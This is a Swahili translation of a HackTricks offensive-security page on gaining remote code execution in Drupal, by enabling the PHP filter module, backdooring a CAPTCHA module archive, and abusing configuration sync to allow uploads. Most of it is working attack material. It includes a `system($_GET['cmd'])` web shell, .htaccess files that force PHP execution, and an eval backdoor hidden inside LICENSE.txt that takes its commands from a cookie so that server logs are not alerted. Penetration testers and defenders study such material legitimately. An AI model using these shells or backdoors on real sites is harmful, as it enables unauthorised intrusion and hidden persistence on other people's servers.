Drupal RCE

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kwa Kutumia Moduli ya PHP Filter

Katika toleo za zamani za Drupal (kabla ya toleo la 8), ilikuwa inawezekana kuingia kama msimamizi na kuwezesha moduli ya PHP filter, ambayo "Inaruhusu nambari/snippets za PHP zilizowekwa kuchambuliwa." Lakini kutoka toleo la 8 moduli hii haipo kwa chaguo-msingi.

Unahitaji programu-jalizi ya php iwe imewekwa (angalia kwa kufikia /modules/php na ikiwa inarudisha 403 basi, ipo, ikiwa haipatikani, basi programu-jalizi ya php haijawekwa)

Nenda kwa Modules -> (Angalia) PHP Filter -> Hifadhi mazingira

Kisha bofya Ongeza maudhui -> Chagua Ukurasa wa Msingi au Makala -> Andika mimba ya php kwenye mwili -> Chagua Nambari ya PHP katika Muundo wa Maandishi -> Chagua Onesha

Hatimaye tuifikie nodi iliyoumbwa hivi karibuni:

curl http://drupal-site.local/node/3

Sakinisha Moduli ya Kichujio cha PHP

Katika toleo la sasa, siwezi tena kusakinisha programu-jalizi kwa kufikia wavuti baada ya usakinishaji wa msingi.

Tangu toleo 8 kuendelea, Moduli ya Kichujio cha PHP haitasakinishwa kwa msingi. Ili kutumia kazi hii, tutahitaji kusakinisha moduli wenyewe.

  1. Pakua toleo jipya zaidi la moduli kutoka kwenye wavuti ya Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Baada ya kupakua, nenda kwa Utawala > Ripoti > Visasisho vinavyopatikana.

  4. Bonyeza Tafuta, chagua faili kutoka kwenye saraka tuliyoidownload, kisha bonyeza Sakinisha.

  5. Baada ya moduli kusakinishwa, tunaweza bonyeza Maudhui na umba ukurasa mpya wa msingi, kama tulivyofanya kwenye mfano wa Drupal 7. Tena, hakikisha uchague Msimbo wa PHP kutoka kwenye menyu ya Muundo wa Matini.

Moduli yenye mlango wa nyuma

Katika toleo la sasa, siwezi tena kusakinisha programu-jalizi kwa kufikia wavuti baada ya usakinishaji wa msingi.

Moduli yenye mlango wa nyuma inaweza kuundwa kwa kuongeza ganda kwenye moduli iliyopo. Moduli zinaweza kupatikana kwenye wavuti ya drupal.org. Chagua moduli kama vile CAPTCHA. Endelea chini na nakili kiungo cha tar.gz kumbukumbu.

  • Pakua kumbukumbu na fichua maudhui yake.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Unda PHP web shell na maudhui:

<?php
system($_GET["cmd"]);
?>
  • Kisha, tunahitaji kuunda faili ya .htaccess ili tupate ufikiaji wa folda. Hii ni muhimu kwani Drupal inakataa ufikiaji moja kwa moja kwenye folda ya /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Mipangilio hapo juu itatumika kwa sheria za folda ya / tunapouliza faili katika /modules. Nakili faili zote mbili kwenye folda ya captcha na unda kiunzi.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Kukadiria tuna upatikanaji wa utawala kwenye tovuti, bonyeza Simamia kisha Ongeza kwenye upau. Kisha bonyeza kitufe cha + Sakinisha moduli mpya, na tutapelekwa kwenye ukurasa wa usakinishaji, kama vile http://drupal-site.local/admin/modules/install Tafadhali vinjari kwenye nyaraka iliyoharibiwa ya Captcha na bonyeza Sakinisha.

  • Mara tu usakinishaji unapofanikiwa, vinjari kwa /modules/captcha/shell.php kutekeleza amri.

Kuharibu Drupal na Usawazishaji wa Mipangilio

Chapisho lililoshirikiwa na Coiffeur0x90

Sehemu 1 (kuamilisha Media na Media Library)

Katika menyu ya Ongeza (/admin/modules), unaweza kuamilisha inavyoonekana kuwa programu-jalizi tayari imesakinishwa. Kwa chaguo-msingi, programu-jalizi Media na Media Library hazionekani kuwa zimeamilishwa, kwa hivyo tuwaamilishe.

Kabla ya kuamilisha:

Baada ya kuamilisha:

Sehemu 2 (kutumia kipengele cha Usawazishaji wa Mipangilio)

Tutatumia kipengele cha Usawazishaji wa Mipangilio kudumpisha (kusafirisha) na kupakia (kuagiza) misingi ya mipangilio ya Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Sakinisha mfumo.file.yml

Anza kwa kusakinisha kuingia ya kwanza ruhusu_mipakiaji_dhaifu kutoka:

Faili: mfumo.file.yml


...

allow_insecure_uploads: false

...

To:

Faili: system.file.yml


...

allow_insecure_uploads: true

...

Sakinisha uga.field.media.document.field_media_document.yml

Kisha, sakinisha kuingia ya pili file_extensions kutoka:

Faili: uga.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

To:

Faili: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Sijatumia katika chapisho hili lakini imebainika kuwa inawezekana kufafanua kuingia file_directory kwa njia isiyo ya kawaida na kwamba ina hatari ya shambulio la njia (kwa hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).

Sehemu 3 (kutumia kipengee Ongeza Waraka)

Hatua ya mwisho ni rahisi zaidi, na imegawanywa katika hatua mbili. Ya kwanza ni kupakia faili katika muundo wa .htaccess ili kutumia maelekezo ya Apache na kuruhusu faili za .txt kuchambuliwa na injini ya PHP. Ya pili ni kupakia faili ya .txt yenye mzigo wetu.

Faili: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Kwa nini hila hii ni nzuri?

Kwa sababu mara tu Webshell (ambayo tutaiita LICENSE.txt) inapowekwa kwenye seva ya Wavuti, tunaweza kuhamisha amri zetu kupitia $_COOKIE na kwenye magogo ya seva ya Wavuti, hii itaonekana kama ombi halali la GET kwa faili ya maandishi.

Kwa nini tuipate Webshell yetu LICENSE.txt?

Kwa sababu ikiwa tunachukua faili ifuatayo, kwa mfano core/LICENSE.txt (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na saizi ya 17.6 KB, ambayo ni kamili kwa kuongeza kipande kidogo cha nambari ya PHP katikati (kwa kuwa faili ni kubwa ya kutosha).

Faili: LICENSE.txt iliyosasishwa


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Sehemu 3.1 (kupakia faili .htaccess)

Kwanza, tunatumia kipengele cha Ongeza Hati (/media/add/document) kupakia faili yetu inayohusu maelekezo ya Apache (.htaccess).

Sehemu 3.2 (kupakia faili LICENSE.txt)

Kisha, tunatumia kipengele cha Ongeza Hati (/media/add/document) tena kupakia Webshell iliyofichwa ndani ya faili ya leseni.

Sehemu 4 (mwingiliano na Webshell)

Sehemu ya mwisho inajumuisha mwingiliano na Webshell.

Kama inavyoonekana kwenye picha ifuatayo, ikiwa kuki inayotarajiwa na Webshell yetu haijatambuliwa, tunapata matokeo yanayofuata tunaposhauriana na faili kupitia kivinjari cha Wavuti.

Mtu anapoweka kuki, anaweza kuingiliana na Webshell na kutekeleza amri yoyote anayotaka.

Na kama unavyoona kwenye magogo, inaonekana kama faili ya txt tu imeombwa.

Asante kwa kutumia muda wako kusoma makala hii, natumai itakusaidia kupata baadhi ya zilizoshikwa.

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated